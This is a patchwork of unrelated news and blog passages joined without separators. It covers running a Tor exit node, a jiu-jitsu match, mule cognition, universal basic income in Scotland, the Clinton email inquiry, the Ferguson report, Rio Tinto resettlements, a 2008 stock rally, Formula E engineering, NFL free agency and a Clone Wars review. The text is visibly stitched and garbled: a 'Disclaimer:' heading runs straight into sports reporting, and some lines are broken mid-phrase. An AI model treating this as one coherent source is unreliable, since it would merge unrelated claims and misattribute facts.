This helped process most incoming e-mails, however, everything else was handled manually. In some e-mails about copyright infringement that were not automatically replied to, I also added a bit of human touch: If the movie was good and I had seen it, I also let them know that their clients' movie was pretty good.
Other e-mails I received about this particular node include, but are by far not limited to, Wordpress comment spam, port scanning, credential brute force attacks, attempted SQL Injections, WAF alerts, in no particular order.
In general, the experience of running a Tor Exit Node has been fun, and I was never contacted by any law enforcement agency, nor had anything negative happen to me in relation to that. The KeyWeb staff were very helpful and I recommend running an exit node or two there as well. The entire thing did not consume a lot of time and it certainly helped people out there, using Tor.
Finally, I'd like to add some statistics about the Exit Node so far:
It has been running for almost 8 months
It costs 4,90 EUR / month. In comparison, the same server in AWS would cost $1,122, or 992€ as of today
The total cost to date is 40€. In comparison, the same server in AWS would cost about 8,000€.
It is pushing up to 50 Mb/s, every second
It relayed over 70 T B of Tor traffic
B of Tor traffic It generated 2,729 Abuse E-Mails
It is only blocking port 25, and this to prevent spam
It helped hundreds or thousands of people to reach an uncensored Internet
It helped even more people browse the Internet anonymously and with privacy
Do you want to run an Exit Node yourself? What are your concerns? What do you think about that? Let me know in the comments below.
Disclaimer:
Four and a half years after his last MMA contest, the retired fighter decided to return to competition this past weekend at the IBJJF New York Spring Open, a submission grappling competition where chokes and joint locks are allowed, but the strikes of MMA are not. Florian tells FOX Sports that as his back healed from injuries that forced him to retire from MMA recently, he had picked up his own training and competition just seemed like the next logical step.
"Competition is something I’ve been missing," he explains.
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"I’ve always found it easier to train for something. I had been enjoying myself with training and my body had healed to the point where I was training three to four times a week again. I thought that if I was already training this much that I’d love to test myself, that I’d love to have something to work towards."
Florian says that being an active competitor helps purify one’s training. "When you’re competing, you put your training under a magnifying glass. You see more clearly what you are doing well and what you are doing poorly. I also wanted to see how I responded to a pressure situation."
Florian chose a tournament of the controversial IBJJF not because it is the largest Brazilian jiu-jitsu competition association, but rather because the timing of the New York Open worked well in his busy schedule, and because he knew he’d find top competitors there. Florian did indeed meet up with skilled athletes and also felt he responded well to being in a pressure situation, again.
"It was chaotic the day of. I showed up to the wrong side of the building, then I had people asking me for photos and autographs (laughs). It was good, it was fun, but I was trying to get to my match and I got to the mat late and was about to be disqualified," he remembers.
"None of that affected me, though, in the match. I felt good. I felt fine during the match."
Florian also did quite well in the match against his fellow black belt competitor, being the aggressor the entire match, passing the guard, and taking the back and/or mount, depending on your perspective. Still, after time was up and no one was submitted, the referee raised Florian’s opponent’s hand.
Kenny tells us he knew he was in trouble less than a minute prior when he looked up, from on top, and saw that he had somehow not been awarded any points, and his opponent, who had not hit a sweep, gained an advantageous position or attempted even a single submission, had been awarded two.
"I never felt in trouble, I never even felt off-balance. He never physically scored on me," Florian says, still irritated.
"I felt I was robbed. During the match, with about 45 seconds left, I looked up and saw a two to nothing score on the board. I thought, ‘why do I only have two points? I had his back earlier, which is four points.’ I had to wait a second and realize those points were by his name. I had no idea what the hell was going on."
The IBJJF’s strange rule-set doesn’t give points for when a competitor passes the guard of their opponent, if that opponent simply turns face-down and gives up their back — one of the most dangerous things you can do in Brazilian jiu-jitsu. That’s what Florian’s guard pass was like, and so he wasn’t surprised that he didn’t get credit for it, but was mystified that the referee didn’t award him points for subsequently taking his opponent’s back.
He was also shocked when the referee warned him for supposedly stalling, even though Florian was actively working to pass the guard at that point, and when the referee took away Florian’s advantage and gave his opponent two points when KenFlo grabbed inside the pant leg of his opponent.
"The referee gave me a warning for stalling while I was knee-cutting to try and get through the guard, and didn’t warn him for trapping me there. It is always the guy on bottom who has the onus to not stay still and stall. But the ref warned me and then took away my advantage and awarded two points to my opponent. I don’t know what the hell they were doing. I didn’t know what to say and to argue would have been useless. I was just dumbfounded. It definitely left a bad taste in my mouth."
Still, Florian is glad that he competed and plans to do so again later this year. "My opponent went to the finals where he met with his close friend Formiga. I feel good that I should have won at that level, in a tough tournament at a high level," he says.
"It is unfortunate that an incompetent referee can alter things like that because I know I’m not the only one who has had that happen to them. But I do plan to compete again. I want to do the world championships, gi and no-gi at the end of the year, in my division – either Masters 1 or Masters 2."
Florian is also open to competing in a one-off match at any of the newer professional grappling events that abound, these days, like Polaris or the EBI.
"Definitely," he said.
Dr Britta Osthaus Dr Britta Osthaus, psychology lecturer at Canterbury Christ Church University, said: "The mules' performance was significantly better than that of either of the parent species and got faster over a period of time. "Hopefully our findings will ensure that people change their attitudes towards mules, which frequently have a bad reputation because they often are mentally under-stimulated and therefore might turn against humans or become destructive." Leanne Proops, from the University of Sussex said: "The increased intelligence in the mule is a result of hybrid vigour, where the best genes of the parent species mix and match to produce hybrids with superior traits. "This is the first study to show that hybrid vigour is able to improve cognitive function too." The animal bred from a female donkey and a male horse is known as a "hinny".
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"The free strategy isn’t set in stone," Lessin wrote, but if Amazon could pull it off, it would be offering something its competitors don’t: freedom from contracts without a price premium. At the time, the reporter was unclear on whether Amazon would require anything of its customers, such as a subscription to Amazon Prime.
However, now there's a clear resolution. Amazon responded to Lessin's request for comment this weekend, telling a colleague that it had no plans to launch a smartphone this year. The company went on to say that even if it did, the phone "would not be free."
Grammy winning soul icon Maxwell’s new album is blackSUMMERS’night, and is the second installment of a musical trilogy that kicked off 7 years ago with the acclaimed BLACKsummers’night. That prior album debuted at #1, earned two Grammy Awards along with platinum-plus sales status, and set the stage for this ambitious follow-up.
The first single from blackSUMMERS’night, “Lake By The Ocean,” has made major waves at radio and drawn widespread critical acclaim. The sultry track has been praised by Rolling Stone, Spin, and others (‘ a slow and finely crafted love ballad that makes the most of Maxwell’s absolutely stunning vice…’ hailed Yahoo.)
The singer/songwriter recorded the new album in New York over the last several years with longtime collaborator/co-producer Hod David, and many of the same renowned musicians he’s worked with throughout his career.
A meeting in Glasgow last month with Guy Standing, the radical economist who founded the Basic Income Earth Network, inspired Kerr to seek cross-party support to pilot a “universal basic income” in parts of Fife and Glasgow. He acknowledges that these are very early days and that there are many obstacles ahead, but the move makes him the most senior incumbent politician in Britain to contemplate a radical scheme that only a few years ago was considered beyond the political pale.
So why is Kerr sticking his neck out?
“Look, it might be that at the end of this whole exercise we find that it’s just not workable, but I’d rather give it a go in good faith. At the moment, defending a system that is only slightly better than the one the government is trying to implement is simply not good enough. It’s not giving anyone any hope.”
The universal basic income concept is so simple you are tempted to ask why it has never been seriously looked at before. It offers something for everyone across the political spectrum. It works on the premise that individuals are guaranteed a minimum regular payment unconditionally. Kerr, who worked as a postman for 14 years, acknowledges that much academic research and fieldwork must be done to calibrate payments appropriate to the needs of people.
Should we scrap benefits and pay everyone £100 a week? Read more
“We, as a party, need to be ambitious for people and I think this can be a part of that. Nye Bevan is a great hero of mine, but I can’t imagine if he were around today that he would have created the benefits system the way it now looks. It’s time to ask if this has worked. This has been a 70-year experiment. It worked at the time when we had high levels of employment. But we don’t have that now. And although I’ll always strive for full employment, the reality is that as technology improves and increases, that’s going to be harder to achieve.
“This is a big challenge to the left. In these circumstances you can’t just write people off and nor can you have the current system that is hugely difficult to navigate and completely enslaves people to the state.”
Already, the Finnish government, as well as provinces in Canada and some Dutch cities, are looking at pilot schemes. Glasgow, however, would seem to offer an ideal petri dish for experimentation. The infamous “Glasgow effect” sees adult males in the city’s most deprived areas die significantly younger than those from other working-class UK cities with similar patterns of deprivation and health inequalities. Here a person can lose 20 years of life expectancy in a six-mile corridor from the east end of the city to its arboreal west end.
Facebook Twitter Pinterest Easterhouse is one of the most disadvantaged areas of Glasgow. Photograph: Murdo MacLeod for the Guardian
“The universal basic income is about the relationship between state and individual,” says Kerr. “I’ve always believed that socialism is about giving people freedom from fear, but the right have distorted the word to suit their agenda.
“If you’re free from worrying about having a roof over your head and feeding your children, you can be free to take some risks and manage your own life. You can have the ability to take part in your community and volunteer without the risk of sanctions. At its core is a message from the state to the individual, saying ‘we actually give a damn about you and we’ll treat you with respect’.”
Kerr is scathing about another Scot, Iain Duncan Smith, and his universal credit scheme. Almost 15 years ago, the former Tory minister for work and pensions famously toured Easterhouse, a sprawling and disadvantaged community in the north-east of Glasgow. “People who guided him round at the time genuinely thought that he got it, that he began to understand the deep-rooted patterns of inequality that underpinned the lives of many people living there.
“But his system of universal credit showed he didn’t get it. It was doomed to failure because they made one basic error: they moved people off receiving their benefits weekly or fortnightly to once every four weeks. Thus people began to fall into the clutches of loan sharks or predatory credit card firms when the cash ran out well before the end of four weeks.”
Discussions around the universal basic income also highlight competing political and moral philosophies.
On the one hand, there is the view that our benefits scheme is one that we and the generations before us all paid into. We are entitled to any benefits we may require throughout our lives because they have already been paid for. The view favoured by the right, however, is that the postwar welfare state has, in places, created a damaging dependency culture among generations of the unemployed: the state therefore has a duty to incentivise people to get off benefits.
For Kerr, though, there is also a challenge for the left. “We’re sleepwalking here,” he says. “We like to tell ourselves that we are a nice, centre-left society that values our public services, yet we consistently reject parties who seek to increase taxes to pay for them. There needs to be a conversation about that.
“The universal basic income gives people a degree of certainty and proper security. Few people now can expect to go through their entire working lives in the same job. People change jobs much more frequently and this leaves gaps and we don’t deal with the gaps properly. It takes weeks to register and to become eligible for payments and weeks for them to come through. By that time, they have become consumed in a spiral of debt from which they rarely emerge.”
Within weeks a team of academics and economists will begin to address the task of making pilot schemes for Glasgow and Fife viable. In the interim, Kerr and Jamie Cooke, head of RSA Scotland, which has led research on the subject across the UK, will seek support across a wide spectrum. “We’ve had encouragement from the SNP and also from some senior officers within the DWP.
“Tories like Professor Adam Tomkins, the MSP, can also see its possibilities. A person who has the security of a minimum basic income might dare to dream of setting up their own business and becoming an entrepreneur.”
The rumored interview could indicate the FBI is in the final stages of its investigation and comes after Attorney General Loretta Lynch said that she would defer to investigators and prosecutors in deciding whether to press charges.
Multiple current and former aides to Clinton have reportedly answered the FBI’s questions in recent months, in what appeared to be a path leading to the presumptive Democratic presidential nominee herself.
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According to ABC News, the Justice Department's goal is to complete its probe and issue recommendations on whether charges should be filed before the two major party conventions occur later this month. ABC said the interview could take place in the coming days.
The Daily Caller, which first reported the interview, said Clinton is scheduled to meet with the FBI Saturday. Its source added the talk could occur at Clinton's residence in Washington, D.C.
Clinton does not have any campaign events listed on her schedule for the weekend, presumably making an interview within that window easier to coordinate.
The interview has been expected for weeks and could help provide final information that federal officials need to decide whether to press ahead with charges — a decision that could amount to a political earthquake.
Roughly 1 in 15 of the approximately 30,000 emails that Clinton gave to the federal government from her private server for safekeeping have been classified at some level. Another 22 were classified as top secret, the highest level of sensitivity.
Bryan Pagliano, the IT official believed to have set up and maintained Clinton’s server in the basement of her New York home, has been granted limited immunity deals in order to assist with the investigation.
Legal experts have speculated that the high bar for prosecutors to prove that Clinton’s setup was designed to thwart federal security laws could make it difficult to indict her. But the investigation has been underway for more than a year, raising speculation about what officials may have discovered.
On Friday, Lynch acknowledged that her 30-minute, private meeting with Clinton’s husband, former President Bill Clinton William (Bill) Jefferson ClintonKasich fundraises off 2020 speculation Inviting Kim Jong Un to Washington Howard Schultz must run as a Democrat for chance in 2020 MORE, had cast a pallor over the investigation, with Republicans questioning her neutrality.
The formal report, expected to be released Wednesday, largely blames the Missouri city for breeding mistrust of the police through its policies. The report is particularly critical of ticketing practices in Ferguson, which like many other municipalities in St. Louis County, relies heavily on its local court system to generate revenue for the city.
African-Americans were overwhelmingly those charged with certain petty offenses that particularly depend on officers' judgment, according to the forthcoming report. Between 2011 and 2013, African-Americans made up 95 percent of those charged in Ferguson with improper “manner of walking in roadway,” 94 percent of those charged with “failure to comply,” and 92 percent of those charged with disturbance of the peace. Black residents account for just 67 percent of the city's population.
A Ferguson official told The Huffington Post that city and Justice Department officials met at a federal building in downtown St. Louis to discuss the results of the investigation on Tuesday. The so-called “pattern or practice” investigation of the Ferguson police had been announced by the Justice Department in September, just weeks after 18-year-old Michael Brown was shot and killed by then-Ferguson police officer Darren Wilson.
The federal investigation was based on reviews of thousands of pages of records, on-site visits and interviews with members of the community. It found that police in Ferguson routinely made arrests without probable cause and that blacks were more than twice as likely as whites to be searched during vehicle stops but less likely to be found in possession of contraband. It found that 88 percent of documented use-of-force incidents were against African-Americans, including all 14 documented police dog bites from 2012 to 2014.
The investigation also found evidence of racial bias among police officers and municipal court officials. One message circulated on an official Ferguson email system in November 2008 said that President Barack Obama wouldn't be president long because “what black man holds a steady job for four years.”
Ferguson officials declined to formally respond to the findings of the report until it is released.
This article was published 5/9/2013 (2000 days ago), so information in it may no longer be current.
Winnipeggers got an early peek at what a massive new downtown skyscraper will look like after a photograph showing an artist's rendering of the structure appeared on the Internet a day before it was to be officially unveiled.
The project's two Ontario-based developers -- Fortress Real Developments Inc. and Mady Development Corp. -- had planned to unveil a giant, billboard-size version of the drawing at a splashy news conference planned for 11 a.m. today at the Graham Avenue development site.
But those plans were spoiled when a sharp-eyed passerby took a picture of the signage -- presumably with a smartphone -- while it was being installed on the site Thursday afternoon and before workers had a chance to cover it with a tarp.
For mining giant Rio Tinto it is a headache sitting on top of one of the world’s largest untapped coal reserves, standing in the way of the company’s expansion.
Macajo, Capango’s the 59-year-old leader is refusing to leave her home until her people are paid for their land, a contentious issue for Rio which has found it difficult to get its Mozambique business running at full speed.
“Our people have rights. The company promised it would compensate us,” Macajo said, sitting on a straw mat outside her house, the only concrete dwelling in the village where goats and pigs roam freely.
“The people must receive their money,” she said with several of the village men nodding in agreement.
Rio said it had agreed with some families a like-for-like compensation, promising houses and land in the new Mwaladzi resettlement area, some 40 km (25 miles) away from Capanga.
The company said it has paid some families affected by its operations, including the queen, and is negotiating separate payments with a farmers’ association, which it says holds formal title over some 150 ha (370 acres) of land in the area.
But Macajo said she had not received any money and the association does not represent her or others in the community.
Rio’s Mozambique troubles are not unique. Mining companies frequently walk a tightrope between the demands of the stock market and those of local communities, demanding a larger share of profits from the resources they sit on.
This often comes to a head if villages and communities have to be moved to make way for mines, creating a flashpoint as locals can dispute location, housing, compensation - and few have official documents to prove their rights in the first place. Often, those being moved run small-scale mining operations and are reluctant to be evicted.
Macajo said her community was prepared to aggressively defend their village against Rio Tinto, threatening a repeat of violent protests that broke out in January last year when 700 families took to the streets over living conditions and lack of fertile farming land in a resettlement built by Brazilian miner Vale.
HIGH STAKES FOR RIO
Rio Tinto, Vale and dozens of others have flocked to the region since 2004, hoping to secure some of the 23 billion metric tons of coal estimated to lie beneath the war-scarred state, especially with supplies of quality coking coal scarce and global demand growing.
But developing mines in the former Portuguese colony has proven more difficult than initially imagined, with shoddy railways and ports, depressed coal prices and frustrated communities cooling the coal bonanza.
For Rio, the stakes are high in Mozambique, where it wrote $3 billion off the value of its coal assets earlier this year, in a hit that ultimately ousted its chief executive.
Making a success of Mozambique where his predecessors failed would be a major success for incoming boss Sam Walsh. The company has said it is reviewing its coal assets in the country but Walsh has also said the project is not currently for sale.
Rio’s write down on its Mozambican assets was largely due to difficulties in getting the coal from pit to port, but the community’s resistance may place further hurdles in its plan to expand its Benga mine, one of the assets the firm inherited when it bought explorer Riversdale in 2011.
RUINS NOT HOUSES
The complaints of Macajo and others echo the frustration of ordinary Mozambicans who feel the boom, rather than benefiting them, is worsening their living conditions by pushing up the prices of food, fuel and housing and threatening their land.
The families at Vale’s Cateme resettlement have complained about leaks, cracks and floods in homes, which they say the firm has been unable to fix despite several attempts.
Cateme’s location, some 10 km away from the main road and another 40 km from Tete, also makes it difficult for people - many reliant on jobs like brick making or selling vegetables - to get work.
Vale said it was still rehabilitating some of the houses, but residents like Domingo Foguete Domingos said they prefer to be paid instead so they can build sturdier houses elsewhere.
“These are ruins, not houses,” the 46-year-old said while pointing to the cracks in the wall of his house.
Proper management of resettlements is a steep learning curve for the government, communities and civil society in Mozambique, who are often unaware what to ask for until it is too late.
“We have to teach people that this is not a favor, it is their right,” said Julio Calengo, an activist with the Mozambican Human Rights League.
The government called the Vale fiasco a “learning exercise” and later passed a law promising to fine firms or even withdraw their operating licenses if they do not relocate communities in a way that protects their social and economic interests.
Companies now need to prove that their resettlement areas provide the necessary infrastructure to support sustainable economic activities such as farming and while the tighter policies were welcomed, critics wonder if the inadequately staffed government will manage to enforce the rules.
Rio Tinto said it had consulted widely with communities and the government and insists the process was transparent, but the queen said she had yet to be officially consulted even as workers began drilling holes around her land.
The company said more than 80 of Capanga households had already been moved and nearly 600 await relocation. Most of the families will be moved to the rural area at Mwaladzi, while a quarter were classified for urban resettlement.
Macajo said Mwaladzi has asphalted roads, street lights and more durable houses than those built by Vale, but the lack of fertile farming land would still make it difficult for residents, mostly subsistence farmers, to feed their families.
The community said it was hoping to use the money promised from the resettlement to buy fertile plots elsewhere, while the company said it was investigating the possibility of creating a water catchment dam in the area to help irrigate the land.
Rio Tinto plans to continue the resettlement in April, but Macajo vows no more families will budge until they are paid.
The Dow Jones industrial average (INDU) gained 277 points to end the day more than 2.5% higher. Wednesday's rise marked the largest one-day increase in the Dow since April 1. The Dow rallied back after ending Tuesday at its lowest level since July 21, 2006.
The Standard & Poor's 500 (SPX) index also added 2.5%, and the tech-laden Nasdaq composite (COMP) gained 3.1%. The S&P 500 bounced back from its lowest close since Nov. 2, 2005.
The rally came despite a reading showing a jump in inflation. The Consumer Price Index, a key inflation gauge, soared 5% in the past year - the biggest annual jump in more than 17 years. Record gas and food prices helped the index jump to levels that outpaced the average annual pay increase. (Full story)
Stocks were volatile in early trade as investors were spooked by the CPI report, reflecting a knee-jerk reaction to any bad news in the continually tepid economic climate.
However, the market turned higher quickly after the open as traders absorbed several positive corporate results. Investors welcomed the news as a sign of relief on pressured markets.
"The market can't go down forever," said Harry Clark, chief executive of Capital Management Group. "Investor sentiment was so negative that any news can now be taken as a positive."
Stocks were sent even higher after oil plunged following the government's weekly stockpile report, and maintained steady gains for the remainder of the session.
"The stock market is a game of confidence, and it feels like confidence has been restored to some degree," said Robert Philips, president and chief investment officer of Walnut Asset Management. "Oil falling is obviously very helpful for that."
Investors will see if the market can sustain a run Thursday as several more bank earnings are due before the market open. Reports on housing starts, initial jobless claims and the Philadelphia manufacturing sector will also be released Thursday.
After the market close, online auction Web site eBay (EBAY, Fortune 500) announced earnings rose 22%, beating Wall Street's expectations. Shares of eBay fell 6% in aftermarket trading, however, as its third-quarter earnings forecast failed to impress investors.
Financials bounce back: Financial industry stocks rebounded strongly Wednesday morning, as some upbeat corporate results helped ease some investor concerns about the battered industry, lifting the S&P Banking Index by more than 20%. (Full Story)
Shares of Wells Fargo (WFC, Fortune 500) soared 32.8% after it reported a 22% drop in second-quarter earnings that nevertheless topped estimates. The struggling bank cited a growing number of unpaid loans for the slide, but raised its quarterly stock dividend to 34 cents a share from 31 cents a share.
Other financial names also reported results that were ahead of expectations, including Charles Schwab (SCHW, Fortune 500), whose stock rose 14.3%, Northern Trust (NTRS, Fortune 500), up 13.1%, and Marshall & Ilsley (MI, Fortune 500), which gained 17.3%.
"The bank situation is coming to an end now," said Clark. "We're looking at a rally ahead of us - though how long that rally will last is unclear."
Federal Reserve Chairman Ben Bernanke appeared before the House Financial Services Committee Wednesday after testifying before the Senate Banking Committee Tuesday. In his testimony, Bernanke stated that government-backed mortgage financers Fannie Mae and Freddie Mac are "in no danger of failing." (Full story)
That helped Fannie (FNM, Fortune 500) and Freddie (FRE, Fortune 500) soar 30% in Wednesday trading. The embattled firms were the focal points of downtrodden investor sentiment toward financials for several of the previous sessions.
Shares of Washington Mutual (WM, Fortune 500) jumped 25.5%, helping the bank bounce back from a selloff earlier in the week. A Lehman Brothers analyst note released Monday suggested the bank may need to "substantially" raise its reserves over the course of 2008 to cover losses from home loans.
Other struggling financials jumped on the bandwagon. Bank of America (BAC, Fortune 500) rose 22.4%, JPMorgan Chase (JPM, Fortune 500) gained 15.9%, Wachovia (WB, Fortune 500) soared 16.1% and Citigroup (C, Fortune 500) added 13.1%.
Shares of investment bank Lehman Brothers (LEH, Fortune 500) also soared 26% despite investor concern that the firm may be on the verge of a Bear Stearns-like collapse.
Financials have been hammered for the past several quarters after the subprime mortgage collapse and ensuing credit crisis. After the bank failure of IndyMac Friday, financials went into a virtual tailspin.
But some analysts think IndyMac's failure is a sign that the worst is over.
"The catalyst for Wednesday's rally was actually the IndyMac failure," said Clark. "Every major bank failure over the last 40 or 50 years represented a market bottom."
Airlines: American Airlines and Delta Air Lines reported wide losses Wednesday, citing fuel-related costs, yet both companies beat analysts' expectations. (Full story)
No. 3 U.S. carrier Delta Air Lines (DAL, Fortune 500) reported a net loss of $1 billion for the second quarter, including a writedown of $1.2 billion. Delta said it had to cope with a $1 billion year-to-year increase in fuel costs. Shares climbed 26.6%
AMR Corp (AMR, Fortune 500), parent company of No. 1 carrier American Airlines, reported a net loss of $1.4 billion, or $5.77 per share, for the second quarter. But that included $1.1 billion in one-time writedowns. Shares of AMR Corp. surged 32% Wednesday.
Falling oil prices and the upbeat quarterly results lifted other airlines, with most of the major U.S. carriers soaring.
Continental Airlines (CAL, Fortune 500) rose 38.2%, US Airways (LCC, Fortune 500) gained 27.3% and JetBlue (JBLU) added 21.4%. UAL Corp. (UAUA, Fortune 500), the parent company of United Airlines, was especially strong, gaining 41.5%
"Airlines' losses have been monumental forever but were only exacerbated recently by high oil prices," said Philips. "When oil goes down, there's some hope they'll lose less."
Energy: Oil prices tumbled another $4.14 Wednesday, settling at $134.60. That drop comes after oil plunged more than $6 a barrel Tuesday - the biggest one-day drop in 17 years. (Full story)
The U.S. Energy Information Administration's weekly stockpile report showed that crude supplies rose by 3 million barrels for the week, when analysts were looking for a drop of 3 million barrels.
The average price of regular unleaded gasoline rose to an all-time high of $4.114 a gallon, according to a daily survey from motorist advocacy group AAA. (Full story)
Economic news: Industrial production increased 0.5% in June, stronger than a 0.2% decline in May, according to a report released by the Federal Reserve Wednesday. The measure roundly beat economists' expectations. (Full story)
The National Association of Home Builders/Wells Fargo Housing Market Index - a key measure of home builder confidence - fell for the third consecutive month, hitting a record low in July. (Full story)
Dollar rises: In currency trading, the dollar bounced back after setting an all-time low versus the euro Tuesday and slipping to a $2 level against the British pound. (Full story)
Other markets: COMEX gold for August delivery fell $16 to settle at $962.70 an ounce. Gold has crept back near record levels recently after falling into the $800 range in the past few months.
"I feel like I’ve grown a lot as a hitter," Beckham said. "I feel like I didn’t have a clue what I was doing when I first came up and I just went out there and played. There’s something to that too, but there’s also something to make adjustments. That’s something I didn’t understand how to do, but the more I’ve understood my swing and understand what it takes to be successful, I’ve kind of tailored my swing now back to where it was. "It has come full circle in my mind. I know it’s in there. I know there’s some good to be had and last year I would have had a good season had I not gotten hurt."
With a little more than a fortnight before Opening Day, he's already fallen behind that goal. The White Sox announced that he has a strained left oblique, and he'll be held from baseball activities for the next seven days.
Like Jeff Keppinger's injury, this is worse news for Beckham than it is for the roster, because the Sox have guys to evaluate. Marcus Semien and Micah Johnson are still in camp, and the recently reassigned Carlos Sanchez could come right back, because he played like he deserved a longer look.
Mars
Blu-Ray/DVD, 2017
331 minutes The Mars Generation
directed by Michael Barnett
BMW is the latest manufacturer to commit to the series, and it will join the grid in 2018 by partnering with the Andretti team. We recently spoke with the team and another one of their technical partners—TE Connectivity—to get a better idea of the kind of engineering demands involved in the sport. TE provides Andretti with connectors, sensors, and cabling, and it even embeds engineers in the team on six-month rotations, something that helps expose the rest of the company to lessons one learns in the high-pressure world of racing.
It has been a fruitful partnership for both sides. Andretti originally only knew of the company for its connectors when the two started working together in 2015, and Andretti's director of motorsport development, Roger Griffiths, told us that the team was surprised by just how much TE did and how the design of its cars could benefit from those capabilities.
"It used to be a situation where you design the race car and then remember at the last minute you need to add something else," Griffiths told Ars. But a Formula E car is a harsh environment for electronics and sensors. There are high voltages and currents (both AC and DC) and high-speed switching in the inverter, so the potential for noise is considerable. Wiring looms need thoughtful design, both in how they're layered and also shielded, to prevent ground loops or unintended noise. "With the electric motor, a challenge was with the type of sensors and their sensitivity to electric noise," Griffiths said.
Hand-built racing motors
As you might expect, Formula E is pushing the limits in motor design, using materials for the stator, rotors, and magnets that will ultimately shape the direction of road cars. Andretti's current electric motor is rated for 250kW (although in the race it's restricted to 200kW) and more than 200Nm, yet it weighs 59.1lbs (23.1kg). But even something as simple as the placement of a thermocouple to measure temperature can have a big effect on the performance of these hand-built power units.
"We saw the application of the sensor in where it was located within a component of the motor. When you take 10 of them and put them all side by side, they're all fundamentally the same, they all have six thermocouples, and they should be identical," Griffiths said. Instead, there was lots of variation between the motors, which meant performance differences. "We could compromise performance or enhance it by position of the thermocouple. The placement of the sensor in one motor could be within two or three mm compared to another one, but it gets significantly different readings. We're operating right at the edge of the performance envelope, so 200C vs 210C could be a difference of 10kW power."
For comparison, Chevrolet's Bolt motor, clever in its own right, uses a virtual model of motor temperatures under all operating temperatures and commanded output powers precisely because it found traditional sensors too error-prone due to attachment, magnetic interference, and rotor rotation. While that approach works well for the Bolt's mass-produced power unit, it's less suitable to the demands of Formula E. "It is typically a 'safe' reading to account for motor-to-motor variability. By using real measurements with a hand-built motor, it allows for individual minor differences between motors to be compensated for and therefore you get the most from each one," Griffiths told us.
"Racing is one of the harshest environments you can have; the cars are on the edge, and there's zero room for failure," explained Matt Gould, a TE engineer who recently finished his six-month embed with Andretti. "There's always a push to make things smaller and lighter and also to make sensors do multiple things, for example, making a pressure sensor that also measures temperature."
Denver Broncos’ general manager John Elway, or staff personnel speaking on Elway’s behalf, will meet the representatives of the team’s own unrestricted free agent players this week during the NFL Scouting Combine in Indianapolis.
The Broncos’ unrestricted free-agent class is headed by pass-rushing linebacker Von Miller, whose agent is Branion; defensive end Malik Jackson, who is represented by Scharf, and quarterback Brock Osweiler, who is represented by Sexton.
The most significant of these discussions is the Broncos plan to meet with Osweiler’s agent. As of Monday morning, the Broncos had yet to open discussions with Sexton about a contract extension for Osweiler, who everyone expects will be the team’s starting quarterback in 2016.
They got to sign him first. The Broncos have not opened contract negotiations with Osweiler in part out of deference to current starting quarterback Peyton Manning, who is contemplating retirement.
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Manning must notify the Broncos of his intentions by March 8, as his $19 million salary for the 2016 season would become fully guaranteed on March 9. There is no 2016 scenario in which the Broncos pay $19 million to Manning.
The Broncos have already been in serious negotiations with Scharf about Jackson, who is expected to become highly coveted in free agency.
There has been little discussion between the Broncos and Branion as it’s seemingly a foregone conclusion Miller will be slapped with the franchise tag by March 1.
The Broncos will also make time at the combine to speak with the agents of their other free-agent players, a list that includes inside linebacker Danny Trevathan, running back Ronnie Hillman, left guard Evan Mathis; offensive tackle Ryan Harris; safety David Bruton Jr., slot receiver Jordan Norwood, receiver Andre “Bubba” Caldwell, cornerback Omar Bolden; defensive lineman Antonio Smith; tight end Vernon Davis and offensive tackle Tyler Polumbus.
From that tier of free agents, the Broncos are expected to be most serious about trying to re-sign Norwood, Trevathan and Harris.
The Broncos are also expected to discuss the level of tendered contracts to restricted free agent running back C.J. Anderson and inside linebacker Brandon Marshall.
Gordon re-signs, Taylor added
The Broncos re-signed blocking tight end Richard Gordon on Monday. Gordon was on the Broncos’ 53-man roster for five games last season, playing in the game against Green Bay.
Gordon is a fifth-year player who has played for four teams.
The Broncos also signed former first-round defensive tackle Phil Taylor. The No. 21 overall pick of the Cleveland Browns in 2011, the 335-pound or so Taylor had a promising rookie year, starting all 16 games and recording four sacks. Injuries,though, have since left him short of that promise to the point he didn't play in 2015.
(© 2016 KUSA)
Executive Produced by George Lucas.
Featuring the voice talents of Matt Lanter, Ashley Eckstein, James Arnold Taylor, Dee Bradley Baker, Tom Kane, Jim Cummings, Samuel Witwer, and David Tennant.
SYNOPSIS:
In its fifth season, The Clone Wars story moves closer to the grim events of Star Wars: Episode III – Revenge of the Sith and several major players face their destinies as the galaxy plunges into darkness. Planets are rocked by revolution, ancient Jedi secrets are explored, and spirited Padawan Ahsoka Tano faces a major crisis that will change her forever.
It’s certainly a good time to be a Star Wars fan, with Walt Disney Pictures set to revisit and expand the galaxy far, far away by launching annual Star Wars movies from 2015, starting with the first instalment of a new Sequel Trilogy in J.J. Abrams’ Star Wars: Episode VII. However, one casualty of the Mouse House’s four-billion dollar purchase of Lucasfilm is the Emmy Award-winning CG animated series Star Wars: The Clone Wars, which finished its run on Cartoon Network earlier this year and now completes its home-entertainment release with the arrival of the fifth and final season.
Were you one of the unfortunate ones who suffered through theatrically-released 2008 pilot for Star Wars: The Clone Wars (or a Prequel-hater who gave it as wide a berth as possible), then you’d be forgiven for having skipped the subsequent series. Indeed, I can still remember sitting down in the cinema, popcorn in hand, intrigued by what the Star Wars universe might have left in the tank post-Revenge of the Sith. The next two hours could only be described as one of the most god-awful theatrical experiences of my life, struggling through a “movie” so bad it made the love scenes from Attack of the Clones seem like the last twenty minutes of The Empire Strikes Back, and – Holiday Special aside – the lowest point of George Lucas’ epic space opera.
However, after a somewhat slow start, the series quickly found it stride – or, to use a Star Trek: The Next Generation analogy, grew its beard – and went on to deliver a consistently solid slice of Star Wars television, which – at its best – is right up there with the very best the saga has had to offer since the Original Trilogy came to an end in the early 80s. And this final season is no exception, delivering five distinct story arcs which provides a solid blend of action, excitement and humour, not to mention some emotional storytelling absent from much of the Prequels themselves. Indeed, the fact that much of the season revolves around Ahsoko Tano and that this isn’t a bad thing at all is testament to just how far the show has evolved since its disastrous unveiling; gone Anakin’s annoying Padawan brat ‘Snips’, and in her place is an ass-kicking Jedi who rightfully deserves to be regarded as one of the finest characters of the whole Prequel era.
